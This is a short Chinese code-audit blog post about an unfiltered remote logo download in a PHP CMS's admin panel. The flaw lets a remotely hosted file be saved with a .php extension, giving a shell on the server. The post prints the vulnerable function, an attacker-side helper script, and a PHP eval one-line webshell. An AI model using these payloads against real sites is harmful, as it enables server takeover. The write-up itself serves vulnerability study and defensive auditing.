• 代码审计1


    审计到比较有趣的一个点。

    1.后台getshell

    class Flink{
    
    function downlogo($logourl){
    
    $url = parse_url($logourl);
    
    $logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));
    
    $path = PROJECT_PATH."public/uploads/logos/";
    
    if(!file_exists($path)){
    
    mkdir($path);
    
    }
    
    $location = $path.$logoname;
    
    $data = file_get_contents($logourl);
    
    if(strlen($data) > 0){
    
    file_put_contents($location,$data);
    
    return $logoname;
    
    }else{
    
    return false;

    首先对扩展名没有过滤,然后file_get_contents读取了网页内容,于是我们构造php。代码如下

    当时我想到的是下载,我是构造了一个下载成功。

    比如我们远程构造任意文件下载,也可读取到文件的内容。

    例如。test3.php

    <?php
    
    $filename=$_GET['file'];
    
    header("Content-Type: application/force-download");
    
    header("Content-Disposition: attachment; filename=".basename($filename));
    
    readfile($filename);
    
    ?>
    
     

    test.php

    <?php eval($_POST['a']);?>

    http://127.0.0.1/test/test3.php?file=test.php即可

    同样可以构造打印输出,file_get_contents同样可以获取内容

    echo '<?php @eval($_POST['a']);?>';

    即可在目录下生成一句话。

  • 相关阅读:
    Hoppz板子
    [cf] Invoking the Magic
    [acm]关于字符的处理
    [acm]排序总结
    [acm]循环队列(不是自己写queue)
    [acm]关于map的一些知识
    [acm]二进制枚举
    P1005 矩阵取数游戏 区间DP
    ICPC North Central NA Contest 2017 (部分)
    灾后重建 弗洛伊德最短路
  • 原文地址:https://www.cnblogs.com/whoami101/p/5136798.html
Copyright © 2020-2023  润新知